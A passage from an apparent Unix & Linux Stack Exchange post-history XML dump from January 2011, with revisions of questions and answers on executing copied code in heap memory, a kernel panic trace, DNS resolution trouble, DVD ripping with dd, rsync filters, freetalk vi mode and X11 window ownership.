&#xD;&#xA;    /* Use of fprintf() seems sketchy.  I think that signal_handler() doesn't&#xD;&#xA;     * need special compiler treatment like generating Position Independent&#xD;&#xA;     * Code.  It stays in one place, and the kernel knows that place.&#xD;&#xA;     */&#xD;&#xA;    void&#xD;&#xA;    signal_handler(int sig)&#xD;&#xA;    {&#xD;&#xA;                    (void)fprintf(&#xD;&#xA;                                    stderr,&#xD;&#xA;                                    &quot;%s: sig = 0x%x\n&quot;,&#xD;&#xA;                                    signal_string(sig),&#xD;&#xA;                                    sig&#xD;&#xA;                    );&#xD;&#xA;    &#xD;&#xA;                    exit(99);&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    int&#xD;&#xA;    main(int ac, char **av)&#xD;&#xA;    {&#xD;&#xA;                    int i, j;&#xD;&#xA;    &#xD;&#xA;                    /* check to see if cmd line has a number on it */&#xD;&#xA;                    if (ac &lt; 2) {&#xD;&#xA;                                    printf(&quot;not enough arguments\n&quot;);&#xD;&#xA;                                    exit(99);&#xD;&#xA;                    }&#xD;&#xA;                    /* install 3 different signal handlers - avoid core dumps */&#xD;&#xA;                    if (-1 == (i = (long)signal(SIGSEGV, signal_handler)))&#xD;&#xA;                    {&#xD;&#xA;                                    perror(&quot;Installing SIGSEGV signal failed&quot;);&#xD;&#xA;                                    exit(33);&#xD;&#xA;                    }&#xD;&#xA;                    if (-1 == (i = (long)signal(SIGILL, signal_handler)))&#xD;&#xA;                    {&#xD;&#xA;                                    perror(&quot;Installing SIGILL signal handler failed&quot;);&#xD;&#xA;                                    exit(33);&#xD;&#xA;                    }&#xD;&#xA;                    if (-1 == (i = (long)signal(SIGBUS, signal_handler)))&#xD;&#xA;                    {&#xD;&#xA;                                    perror(&quot;Installing SIGBUS signal handler failed&quot;);&#xD;&#xA;                                    exit(33);&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                    setbuf(stdout, NULL);&#xD;&#xA;    &#xD;&#xA;                    /*&#xD;&#xA;                     * print out addresses of original functions so there is something to&#xD;&#xA;                     * reference during recursive function copying and calling &#xD;&#xA;                     */&#xD;&#xA;                    printf(&#xD;&#xA;               &quot;main = %p, copyup %p, memcpy %p, malloc %p, printf %p, free %p, size %ld\n&quot;,&#xD;&#xA;               main, copyup, memcpy, malloc, printf, free, (size_t)f2 - (size_t)copyup);&#xD;&#xA;    &#xD;&#xA;                    if ((i = atoi(*(av + 1))) &lt; 1) {&#xD;&#xA;                                    printf(&quot; i = %d, i must be &gt; 1\n&quot;, i);&#xD;&#xA;                                    exit(99);&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                    printf(&quot; going for %d recursions\n&quot;, i);&#xD;&#xA;    &#xD;&#xA;                    j = copyup(1, i, printf, copyup, memcpy, malloc, free, (size_t)f2 - (size_t)copyup);&#xD;&#xA;    &#xD;&#xA;                    printf(&quot;copyup at %p returned %d\n&quot;, copyup, j);&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;                    return 1;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    int&#xD;&#xA;    copyup(&#xD;&#xA;                    int i, int j,&#xD;&#xA;                    int   (*xptr)(const char *, ...),&#xD;&#xA;                    void *yptr,&#xD;&#xA;                    void *(*bptr)(void *, const void*, size_t),&#xD;&#xA;                    void *(*mptr)(size_t),&#xD;&#xA;                    void  (*ffptr)(void *),&#xD;&#xA;                    size_t   size&#xD;&#xA;    )&#xD;&#xA;    {&#xD;&#xA;                    fxptr fptr;&#xD;&#xA;                    int k;&#xD;&#xA;    &#xD;&#xA;                    if (i == j)&#xD;&#xA;                    {&#xD;&#xA;                                    (*xptr)(&quot;function at %p got to %d'th copy\n&quot;, yptr, i);&#xD;&#xA;                                    return i;&#xD;&#xA;                    } else&#xD;&#xA;                                    (*xptr)(&quot;function at %p, i = %d, j = %d\n&quot;, yptr, i, j);&#xD;&#xA;    &#xD;&#xA;                    if (!(fptr = (fxptr)(*mptr)(size)))&#xD;&#xA;                    {&#xD;&#xA;                                    (*xptr)(&quot;ran out of memory allocating new function\n&quot;);&#xD;&#xA;                                    return -1;&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                    (*bptr)(fptr, yptr, size);&#xD;&#xA;    &#xD;&#xA;                    k = (*fptr)(i + 1, j, xptr, (void *)fptr, bptr, mptr, ffptr, size);&#xD;&#xA;    &#xD;&#xA;                    (*xptr)(&quot;function at %p got %d back from function at %p\n&quot;,&#xD;&#xA;                                    yptr, k, fptr);&#xD;&#xA;    &#xD;&#xA;                    (*ffptr)(fptr);&#xD;&#xA;    &#xD;&#xA;                    return (k + 1);&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    void f2(void) {return;}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12205" PostHistoryTypeId="5" PostId="5460" RevisionGUID="b9886c88-4ca1-4b7b-8a36-77bbc15c60b6" CreationDate="2011-01-06T14:12:33.637" UserId="688" Comment="add pic" Text="I get the option to **Shut down computer when finished** during encoding stage of Avidemux. Why would I want to do that?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/80ggS.png" />
  <row Id="12206" PostHistoryTypeId="5" PostId="5460" RevisionGUID="dcd88da3-6530-4e76-b7fe-50e0889dadc9" CreationDate="2011-01-06T14:18:26.593" UserId="688" Comment="better image" Text="I get the option to **Shut down computer when finished** during encoding stage of Avidemux. Why would I want to do that?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/rzSrk.png" />
  <row Id="12207" PostHistoryTypeId="2" PostId="5463" RevisionGUID="7846db1b-61e2-4f68-a803-8af59d607106" CreationDate="2011-01-06T14:19:08.543" UserId="2701" Text="You can leverage a shell function to provide you this ability as needed:&#xD;&#xA;&#xD;&#xA;    change() { path=`pwd`; cd `echo $path | sed &quot;s/$1/$2/&quot;`; }&#xD;&#xA;&#xD;&#xA;Which would be called from /foo/bar/ as:&#xD;&#xA;&#xD;&#xA;    change &quot;bar&quot; &quot;gazi&quot;&#xD;&#xA;&#xD;&#xA;Please note that the &quot;'s are not required for this example, but would be required for special strings such as directories with space character(s) in the name." />
  <row Id="12208" PostHistoryTypeId="2" PostId="5464" RevisionGUID="895185f9-a2f9-4ae9-b889-7e9a8893e2d2" CreationDate="2011-01-06T14:32:44.937" UserId="688" Text="How do I do this without losing the quality of the source? The output container can be any format (mkv, avi, ogv, ...)." />
  <row Id="12209" PostHistoryTypeId="1" PostId="5464" RevisionGUID="895185f9-a2f9-4ae9-b889-7e9a8893e2d2" CreationDate="2011-01-06T14:32:44.937" UserId="688" Text="How to re-encode a DVD into a single file?" />
  <row Id="12210" PostHistoryTypeId="3" PostId="5464" RevisionGUID="895185f9-a2f9-4ae9-b889-7e9a8893e2d2" CreationDate="2011-01-06T14:32:44.937" UserId="688" Text="évideoàédvdàéencodingà" />
  <row Id="12211" PostHistoryTypeId="5" PostId="5464" RevisionGUID="8a315438-3064-4180-abe0-b3348241030a" CreationDate="2011-01-06T14:44:11.273" UserId="688" Comment="clean-up" Text="How do I do this without losing quality? The output container can be anything." />
  <row Id="12212" PostHistoryTypeId="2" PostId="5465" RevisionGUID="eae732df-d7bf-494c-8fdb-6d94be1626e4" CreationDate="2011-01-06T15:25:24.813" UserId="252" Text="I somehow managed to get my [freetalk](http://www.gnu.org/software/freetalk/) into vi-mode. I'm just unsure how I did it (if I restart freetalk I get an emacs-mode).&#xD;&#xA;&#xD;&#xA;Anyone an idea?" />
  <row Id="12213" PostHistoryTypeId="1" PostId="5465" RevisionGUID="eae732df-d7bf-494c-8fdb-6d94be1626e4" CreationDate="2011-01-06T15:25:24.813" UserId="252" Text="VI mode in freetalk" />
  <row Id="12214" PostHistoryTypeId="3" PostId="5465" RevisionGUID="eae732df-d7bf-494c-8fdb-6d94be1626e4" CreationDate="2011-01-06T15:25:24.813" UserId="252" Text="écommandölineà" />
  <row Id="12215" PostHistoryTypeId="2" PostId="5466" RevisionGUID="cd0b686e-20fd-445c-8ab3-bd22d20200f1" CreationDate="2011-01-06T15:41:41.530" UserId="1207" Text="According to the freetalk documentation, it uses GNU Readline for its command line editing features.&#xD;&#xA;&#xD;&#xA;According to the [GNU Readline documentation][1]: &#xD;&#xA;&#xD;&#xA;&gt; In order to switch interactively&#xD;&#xA;&gt; between emacs and vi editing modes,&#xD;&#xA;&gt; use the command M-C-j (bound to&#xD;&#xA;&gt; emacs-editing-mode when in vi mode and&#xD;&#xA;&gt; to vi-editing-mode in emacs mode). The&#xD;&#xA;&gt; Readline default is emacs mode.&#xD;&#xA;&#xD;&#xA;Perhaps you have accidentally hit this keyboard shortcut: M-C-j.  For those not familiar with the notation, this usually refers to &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;j&lt;/kbd&gt;.  Pressing this key combination again should return you to emacs mode.&#xD;&#xA;&#xD;&#xA;  [1]: http://cnswww.cns.cwru.edu/php/chet/readline/readline.html#SEC22" />
  <row Id="12216" PostHistoryTypeId="5" PostId="5466" RevisionGUID="f59e5ec6-b185-4092-9a46-50da632d4031" CreationDate="2011-01-06T15:46:51.227" UserId="1207" Comment="deleted 8 characters in body" Text="According to the freetalk documentation, it uses GNU Readline for its line editing features.&#xD;&#xA;&#xD;&#xA;According to the [GNU Readline documentation][1]: &#xD;&#xA;&#xD;&#xA;&gt; In order to switch interactively&#xD;&#xA;&gt; between emacs and vi editing modes,&#xD;&#xA;&gt; use the command M-C-j (bound to&#xD;&#xA;&gt; emacs-editing-mode when in vi mode and&#xD;&#xA;&gt; to vi-editing-mode in emacs mode). The&#xD;&#xA;&gt; Readline default is emacs mode.&#xD;&#xA;&#xD;&#xA;Perhaps you have accidentally hit this keyboard shortcut: M-C-j.  For those not familiar with the notation, this usually refers to &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;j&lt;/kbd&gt;.  Pressing this key combination again should return you to emacs mode.&#xD;&#xA;&#xD;&#xA;  [1]: http://cnswww.cns.cwru.edu/php/chet/readline/readline.html#SEC22" />
  <row Id="12217" PostHistoryTypeId="5" PostId="5464" RevisionGUID="1df8e014-9530-42fe-8c25-9f07cabbc8cf" CreationDate="2011-01-06T16:25:10.757" UserId="688" Comment="I want more" Text="How do I do this without losing video quality? What about retaining the menu? Maybe even retaining subtitle and commentary tracks?" />
  <row Id="12218" PostHistoryTypeId="5" PostId="5459" RevisionGUID="abf1d5ff-311a-446d-b929-85fa18b01a5a" CreationDate="2011-01-06T16:44:48.423" UserId="73" Comment="deleted 41 characters in body" Text="This is the output I get when I run one of my applications: &#xD;&#xA;&#xD;&#xA;    Kernel bug detected[#1]:&#xD;&#xA;    Cpu 0&#xD;&#xA;    $ 0   : 00000000 00000000 0fffff00 0fffff00&#xD;&#xA;    $ 4   : c6800000 850b7780 8b0043c0 00000040&#xD;&#xA;    $ 8   : 000004ac 000004ac 00000002 844e8000&#xD;&#xA;    $12   : 00000000 feced300 8430d2ac 0000000a&#xD;&#xA;    $16   : 00000040 000000fc 8b759300 00000001&#xD;&#xA;    $20   : 00000012 84370000 00000004 00000009&#xD;&#xA;    $24   : 00000000 8403d4f4                  &#xD;&#xA;    $28   : 8b1c0000 8b1c3ee0 0000000a 84255764&#xD;&#xA;    Hi    : 003d08ef&#xD;&#xA;    Lo    : 79432700&#xD;&#xA;    epc   : 840a754c 0x840a754c&#xD;&#xA;        Tainted: P          &#xD;&#xA;    ra    : 84255764 0x84255764&#xD;&#xA;    Status: 1100dc03    KERNEL EXL IE &#xD;&#xA;    Cause : 00800034&#xD;&#xA;    PrId  : 00019749 (MIPS 74Kc)&#xD;&#xA;    Modules linked in: em8xxxcursor(P) em8xxxfb em8xxxcopybit(P) pmem_rua em8xxx(P) llad(P)&#xD;&#xA;    Process events/0 (pid: 4, threadinfo=8b1c0000, task=8b0323d8, tls=00000000)&#xD;&#xA;    Stack : 8b0323d8 8402d074 843d0c68 843d10e8 8b1c3f80 8b0323d8 843d0cc8 8b2d6de8&#xD;&#xA;            8b2d6de8 8402d194 00000003 00000000 00000000 84300000 84374104 8b124c80&#xD;&#xA;            84255238 fffffffc efffffff 8431d16c 8431d1a4 00000000 00000000 8404c364&#xD;&#xA;            8404cc6c 00000001 8b124c88 8b124c80 8b124c88 8b124c80 8b1c3f80 00000000&#xD;&#xA;            00000000 00000000 00000000 8404cc04 8b03254c 8b03254c 84051638 00000000&#xD;&#xA;            ...&#xD;&#xA;    Call Trace:[&lt;8402d074&gt;] 0x8402d074&#xD;&#xA;    [&lt;8402d194&gt;] 0x8402d194&#xD;&#xA;    [&lt;84255238&gt;] 0x84255238&#xD;&#xA;    [&lt;8404c364&gt;] 0x8404c364&#xD;&#xA;    [&lt;8404cc6c&gt;] 0x8404cc6c&#xD;&#xA;    [&lt;8404cc04&gt;] 0x8404cc04&#xD;&#xA;    [&lt;84051638&gt;] 0x84051638&#xD;&#xA;    [&lt;84051b14&gt;] 0x84051b14&#xD;&#xA;    [&lt;8404cba8&gt;] 0x8404cba8&#xD;&#xA;    [&lt;84051650&gt;] 0x84051650&#xD;&#xA;    [&lt;8401504c&gt;] 0x8401504c&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Code: 3c030fff  3463ff00  00431024 &lt;00028036&gt; 09029cfd  24050001  27bdffc8  0085102b  afb7002c &#xD;&#xA;    Kernel panic - not syncing: Fatal exception in interrupt&#xD;&#xA;&#xD;&#xA;Am I able to get some info from this dump regarding the issue which is making this happen?&#xD;&#xA;" />
  <row Id="12219" PostHistoryTypeId="2" PostId="5467" RevisionGUID="97d02014-ae65-40f6-88d5-b16ec5aaae39" CreationDate="2011-01-06T16:47:50.827" UserId="3451" Text="To add to this concept of using the history, I recommend looking into the [pushd and popd][1] commands in bash, which can very easily switch between the stored directories. The blog link is also a very nice resource for other methods of directory switching, including comments on how to do this within a script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://eriwen.com/bash/pushd-and-popd/" />
  <row Id="12221" PostHistoryTypeId="2" PostId="5469" RevisionGUID="1de7662b-2504-46d2-ba32-bd73ce669843" CreationDate="2011-01-06T17:30:10.583" UserId="3468" Text="For sure. Here are two suggestions:&#xD;&#xA;&#xD;&#xA; 1. Behind the scenes CLI. Use V4L2VD to create a virtual video device such as /dev/videoVirt1 and pipe through mplayer for the effects. Even some similar examples in the [notes][1].&#xD;&#xA; 2. Use a fat desktop program such as webcamstudio (sorry, i can only post one link) to create the pipes and do your skype/broadcast wonders - still with mplayer for the ascii effect)&#xD;&#xA;&#xD;&#xA;Good Luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://v4l2vd.cvs.sourceforge.net/viewvc/v4l2vd/v4l2vd/NOTES?revision=1.1.1.1&amp;view=markup" />
  <row Id="12222" PostHistoryTypeId="2" PostId="5470" RevisionGUID="73e9f102-6933-497f-aea8-2163a876a670" CreationDate="2011-01-06T17:31:44.297" UserId="3435" Text="I used the Ubuntu 10.10 alternate install CD to install Maverick to an encrypted partition on a USB stick. This worked perfectly, but after the first cycle of updates that took the kernel from 2.6.35-22 to 2.6.35-24 I no longer get the graphical boot screen that asks for my passphrase. Instead I get a similar looking one that uses ASCII art.&#xD;&#xA;&#xD;&#xA;If I select the older 22 kernel from the bootloader, I still get the nice graphical screen.&#xD;&#xA;&#xD;&#xA;What do I need to do to get the nicer boot-up interface with the newer 24 kernel?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;PaulH" />
  <row Id="12223" PostHistoryTypeId="1" PostId="5470" RevisionGUID="73e9f102-6933-497f-aea8-2163a876a670" CreationDate="2011-01-06T17:31:44.297" UserId="3435" Text="Graphical boot-up screen lost after upgrading the kernel" />
  <row Id="12224" PostHistoryTypeId="3" PostId="5470" RevisionGUID="73e9f102-6933-497f-aea8-2163a876a670" CreationDate="2011-01-06T17:31:44.297" UserId="3435" Text="éubuntuà" />
  <row Id="12225" PostHistoryTypeId="2" PostId="5471" RevisionGUID="833e017b-41c1-49f1-942b-caeeb697e2a0" CreationDate="2011-01-06T17:36:46.367" UserId="375" Text="I love linux because I get control over my system. But I do herald from the school of mac, where things are simple, beautiful, and powerful. I like it that way, as opposed to having lots of knobs and levers and everything.&#xD;&#xA;&#xD;&#xA;**Does anyone know of a strong FTP client for linux that is in the vein of Panic's Transmit?** &#xD;&#xA;&#xD;&#xA;It's my choice FTP software in Mac OS, but I doubt I need to convince anyone here that I don't want to DEVELOP web apps in OS X. It's a pain, imo.&#xD;&#xA;&#xD;&#xA;Currently I use Filezilla. It works fine. But it's UI is a mess, imho." />
  <row Id="12226" PostHistoryTypeId="1" PostId="5471" RevisionGUID="833e017b-41c1-49f1-942b-caeeb697e2a0" CreationDate="2011-01-06T17:36:46.367" UserId="375" Text="FTP client with a good GUI?" />
  <row Id="12227" PostHistoryTypeId="3" PostId="5471" RevisionGUID="833e017b-41c1-49f1-942b-caeeb697e2a0" CreationDate="2011-01-06T17:36:46.367" UserId="375" Text="éubuntuàégnomeàéftpà" />
  <row Id="12228" PostHistoryTypeId="6" PostId="5471" RevisionGUID="14545639-4cb2-4ff2-9d83-a0313f33a552" CreationDate="2011-01-06T18:17:10.717" UserId="73" Comment="edited tags" Text="éubuntuàégnomeàésoftwareörecàéftpà" />
  <row Id="12229" PostHistoryTypeId="2" PostId="5472" RevisionGUID="03d82605-1517-4838-af19-fb1a317d6f86" CreationDate="2011-01-06T18:25:57.617" UserId="2472" Text="Go search Google for&#xD;&#xA;&#xD;&#xA; 1. rpm duplicate packages&#xD;&#xA; 2. dpkg duplicate packages&#xD;&#xA;&#xD;&#xA;Read the pages that come back.  Very telling that you can have a messed up RPM database with duplicate packages in it while no such case happens with dpkg.&#xD;&#xA;" />
  <row Id="12230" PostHistoryTypeId="5" PostId="5469" RevisionGUID="ab65e43d-830f-4d41-b547-99a861a3c5a0" CreationDate="2011-01-06T18:32:15.967" UserId="1207" Comment="deleted 2 characters in body" Text="For sure. Here are two suggestions:&#xD;&#xA;&#xD;&#xA; 1. Behind the scenes CLI. Use V4L2VD to create a virtual video device such as /dev/videoVirt1 and pipe through mplayer for the effects. Even some similar examples in the [notes][1].&#xD;&#xA; 2. Use a fat desktop program such as [webcamstudio][2] to create the pipes and do your skype/broadcast wonders - still with mplayer for the ascii effect&#xD;&#xA;&#xD;&#xA;Good Luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://v4l2vd.cvs.sourceforge.net/viewvc/v4l2vd/v4l2vd/NOTES?revision=1.1.1.1&amp;view=markup&#xD;&#xA;  [2]: http://www.ws4gl.org/" />
  <row Id="12231" PostHistoryTypeId="2" PostId="5473" RevisionGUID="20fcf817-aaf5-4651-840b-073ed2d34d28" CreationDate="2011-01-06T18:46:37.630" UserId="1207" Text="Among other things, you could try this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    rsync -d --delete-excluded --include '*.jpg' --exclude '*' serverA serverB" />
  <row Id="12232" PostHistoryTypeId="2" PostId="5474" RevisionGUID="36ffddfe-9c6f-4f02-844b-5d975bd52e26" CreationDate="2011-01-06T18:51:52.793" UserId="885" Text="Since you're using Gnome on Ubuntu, why not use the default file manager (Nautilus)?&#xD;&#xA;&#xD;&#xA;Under Ubuntu 10.04, choose “Connect to Server” in the Places menu, select “Public FTP” or “FTP (with login)” as the service type, enter the server name and other parameters (you can define bookmarks in this dialog box too), and voilà.&#xD;&#xA;" />
  <row Id="12233" PostHistoryTypeId="6" PostId="5470" RevisionGUID="bb7ee44f-dcd0-4321-9a83-db01e66bb471" CreationDate="2011-01-06T18:59:08.150" UserId="885" Comment="edited tags" Text="éubuntuàékernelàébootàédisplayösettingsà" />
  <row Id="12235" PostHistoryTypeId="2" PostId="5475" RevisionGUID="19b74bf9-e8c3-4279-a9fa-3927eac50f0b" CreationDate="2011-01-06T19:12:46.607" UserId="885" Text="In zsh: `cd foo bar`&#xD;&#xA;&#xD;&#xA;In bash: `cd $(zsh -c 'cd foo bar')`  &#xD;&#xA;which can be shortened to `$(zsh -c 'cd foo bar')` under `shopt -s autocd` in bash ≥4.&#xD;&#xA;" />
  <row Id="12236" PostHistoryTypeId="6" PostId="5465" RevisionGUID="05a4eecc-5247-4d98-aeec-cd6e4a6a0ece" CreationDate="2011-01-06T19:28:17.303" UserId="885" Comment="edited tags" Text="ékeyboardöshortcutsàéfreetalkàéreadlineà" />
  <row Id="12237" PostHistoryTypeId="2" PostId="5476" RevisionGUID="1f5b3466-8079-4405-857d-372d68d588a7" CreationDate="2011-01-06T19:34:23.380" UserId="138" Text="The only way to do what you ask is to rip a disk image of the DVD and then play the image. Any other process which doesn't preserve the exact format of the disk will likely break something because DVD is a very specific variant of the MPEG-2 standard. DVD player programs &amp;mdash; which you still have to use to interpret the menu information &amp;mdash; often depend on their input following the standard closely.&#xD;&#xA;&#xD;&#xA;There are lots of ways to rip a DVD image, enough that it's worth a separate question. A quick and dirty way to do it is from the command line:&#xD;&#xA;&#xD;&#xA;    $ dd if=/dev/scd0 of=my-movie.iso bs=2048&#xD;&#xA;&#xD;&#xA;Obviously you must substitute the correct DVD drive dev node if yours isn't mounted on `scd0`.&#xD;&#xA;&#xD;&#xA;Some media players can play ISO files directly, such as &lt;a href=&quot;http://www.videolan.org/&quot;&gt;VLC&lt;/a&gt; and &lt;a href=&quot;http://www.mplayerhq.hu/&quot;&gt;MPlayer&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;If you want to use a different player, and it can't open ISO files itself, you can mount an ISO disk image as a virtual DVD. This is indistinguishable from a real DVD, from the player's perspective. I assume you are using Linux, where you use the loop device for this:&#xD;&#xA;&#xD;&#xA;    $ mkdir -p $HOME/virtualdvd&#xD;&#xA;    $ mount -t iso9660 -o loop my-movie.iso $HOME/virtualdvd&#xD;&#xA;&#xD;&#xA;Depending on the permissions on `/dev/loop?`, you might have to be root (or use `sudo`) to do the second step.&#xD;&#xA;&#xD;&#xA;Having done this, you point your DVD player program at that `virtualdvd` directory.&#xD;&#xA;&#xD;&#xA;Other *ixes usually have an equivalent mechanism to Linux's loop device, which may work a little differently." />
  <row Id="12238" PostHistoryTypeId="5" PostId="5450" RevisionGUID="b35c9e1d-79fe-4ca8-9a82-ebb5036cfde8" CreationDate="2011-01-06T19:41:19.893" UserId="885" Comment="mention the need for a cache flush on some architectures" Text="Maybe. If the heap is executable, you can branch to that code. But some unix variants make the [heap space non-executable](http://en.wikipedia.org/wiki/Executable_space_protection), so as to make exploits of some security vulnerabilities such as buffer overflows more difficult (then even if you can inject code into a program, you might not be able to branch to it). (See the linked article for a discussion of unix variants and their configuration.) Also some processor architectures have [separate caches for code and data](http://en.wikipedia.org/wiki/Modified_Harvard_architecture), so you may need to issue a cache flush instruction. All in all, this isn't something you want to do by hand.&#xD;&#xA;&#xD;&#xA;There is a standard unix API to load and execute code, which will do what it takes to make the loaded code executable: [dlopen](http://en.wikipedia.org/wiki/Dlopen). The code has to be loaded from a file.&#xD;&#xA;&#xD;&#xA;[Just-in-time compilers](http://en.wikipedia.org/wiki/Just-in-time_compilation) typically try to find faster interfaces than dlopen. They have to manage the highly platform-dependent ways of ensuring code executability.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&#xD;&#xA;EDIT: Thanks to [Bruce Ediger](http://unix.stackexchange.com/questions/5449/is-it-possible-to-execute-code-in-heap-space/5462#5462) for reminding me of the need to flush the cache.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="12239" PostHistoryTypeId="2" PostId="5477" RevisionGUID="59943c64-648d-4de4-8d9d-c7288bf16eaa" CreationDate="2011-01-06T20:33:50.793" UserId="3483" Text="All my queries on one machine on my network have suddenly started to resolve to 192.168.1.251.&#xD;&#xA;&#xD;&#xA;This machine was used as the DNS server by other machines, so I noticed it as soon as it started happening and have switched all other machines to use 8.8.8.8 directly, which works.&#xD;&#xA;&#xD;&#xA;The machines are all on a 192.168.0.x IP.&#xD;&#xA;&#xD;&#xA;It does run dnsmasq, which I've restarted to no effect and so stopped, again, no difference.&#xD;&#xA;&#xD;&#xA;/etc/resolv.conf did have entries for 127.0.0.1 and the router's IP, I've changed it to just contain one for 8.8.8.8 and there's nothing in /etc/hosts for a 192.168.1.251 IP.&#xD;&#xA;&#xD;&#xA;Any ideas would be appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ dig google.co.uk @8.8.8.8&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.7.0-P1 &lt;&lt;&gt;&gt; google.co.uk @8.8.8.8&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 49227&#xD;&#xA;    ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xD;&#xA;&#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;google.co.uk.			IN	A&#xD;&#xA;&#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    google.co.uk.		0	IN	A	192.168.1.251&#xD;&#xA;&#xD;&#xA;    ;; Query time: 0 msec&#xD;&#xA;    ;; SERVER: 8.8.8.8#53(8.8.8.8)&#xD;&#xA;    ;; WHEN: Thu Jan  6 20:22:03 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 46&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ uname -a&#xD;&#xA;    Linux america 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux" />
  <row Id="12240" PostHistoryTypeId="1" PostId="5477" RevisionGUID="59943c64-648d-4de4-8d9d-c7288bf16eaa" CreationDate="2011-01-06T20:33:50.793" UserId="3483" Text="Why do all my DNS queries resolve to 192.168.1.251?" />
  <row Id="12241" PostHistoryTypeId="3" PostId="5477" RevisionGUID="59943c64-648d-4de4-8d9d-c7288bf16eaa" CreationDate="2011-01-06T20:33:50.793" UserId="3483" Text="élinuxàéubuntuàédnsà" />
  <row Id="12242" PostHistoryTypeId="6" PostId="2525" RevisionGUID="b206021f-89d7-449b-9fa7-b1be5eb88cb6" CreationDate="2011-01-06T20:57:32.763" UserId="885" Comment="edited tags" Text="érsyncàésyncà" />
  <row Id="12243" PostHistoryTypeId="6" PostId="1617" RevisionGUID="5fcf6452-df9f-4918-9e13-8e7e91fa392e" CreationDate="2011-01-06T20:58:43.103" UserId="885" Comment="edited tags" Text="éconfigurationàésyncà" />
  <row Id="12244" PostHistoryTypeId="2" PostId="5478" RevisionGUID="fb35f47d-d7da-4b73-a9d5-69ad89651d7c" CreationDate="2011-01-06T21:07:22.563" UserId="885" Text="Given an X11 window ID, is there a way to find the ID of the process that created it?&#xD;&#xA;&#xD;&#xA;Of course this isn't always possible, for example if the window came over a TCP connection. For that case I'd like the IP and port associated with the remote end.&#xD;&#xA;&#xD;&#xA;[The question was asked before on Stack Overflow](http://stackoverflow.com/questions/1131277/how-to-convert-a-x11-window-id-to-a-process-id), and a proposed method was to use the `NET_WM_PID` property. But that's set by the window manager. Is there a way to do it if your window manager doesn't play nice?&#xD;&#xA;" />
  <row Id="12245" PostHistoryTypeId="1" PostId="5478" RevisionGUID="fb35f47d-d7da-4b73-a9d5-69ad89651d7c" CreationDate="2011-01-06T21:07:22.563" UserId="885" Text="What process created this X11 window?" />
  <row Id="12246" PostHistoryTypeId="3" PostId="5478" RevisionGUID="fb35f47d-d7da-4b73-a9d5-69ad89651d7c" CreationDate="2011-01-06T21:07:22.563" UserId="885" Text="éprocessàéx11à" />
  <row Id="12247" PostHistoryTypeId="2" PostId="5479" RevisionGUID="c15725c7-db03-4164-a850-5999c7ed3691" CreationDate="2011-01-06T21:32:17.680" UserId="885" Text="Is it possible to use zsh's built-in line editor (zle) to feed input to a subprocess? That is, I would like to run `zlewrap mycommand` where `zlewrap` is a zsh function and `mycommand` is any program that just reads lines from stdin; `zlewrap` would effectively provide zle's line edition capabilities to `mycommand`. This is on the model of [`rlwrap`](http://utopia.knoware.nl/~hlub/rlwrap/#rlwrap) which does just this, but with readline and not zle for line edition.&#xD;&#xA;" />
  <row Id="12248" PostHistoryTypeId="1" PostId="5479" RevisionGUID="c15725c7-db03-4164-a850-5999c7ed3691" CreationDate="2011-01-06T21:32:17.680" UserId="885" Text="Using zsh's line editor to wrap around subprocesses" />
  <row Id="12249" PostHistoryTypeId="3" PostId="5479" RevisionGUID="c15725c7-db03-4164-a850-5999c7ed3691" CreationDate="2011-01-06T21:32:17.680" UserId="885" Text="ézshàézleàélineöeditorà" />
  <row Id="12250" PostHistoryTypeId="4" PostId="2161" RevisionGUID="8499a360-e63c-43f8-8867-3b01231c8264" CreationDate="2011-01-06T21:39:41.897" UserId="885" Comment="edited title" Text="Rsync filter: copying one pattern only" />
